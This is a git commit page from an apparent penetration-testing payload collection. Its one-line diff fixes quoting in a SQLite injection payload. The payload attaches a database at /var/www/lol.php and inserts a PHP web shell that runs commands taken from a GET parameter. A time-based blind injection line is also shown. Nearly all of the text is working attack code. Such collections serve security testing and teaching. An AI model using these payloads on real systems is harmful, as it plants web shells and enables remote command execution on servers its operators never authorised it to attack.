Single quotes are messing with the command.

lammjjj · May 15, 2022 · 5cc8e69 · 5cc8e69
1 parent 4cf464c
commit 5cc8e69
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md
@@ -82,7 +82,7 @@ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
 ```sql
 ATTACH DATABASE '/var/www/lol.php' AS lol;
 CREATE TABLE lol.pwn (dataz text);
-INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET['cmd']); ?>');--
+INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
 ```
 
 ## Remote Command Execution using SQLite command - Load_extension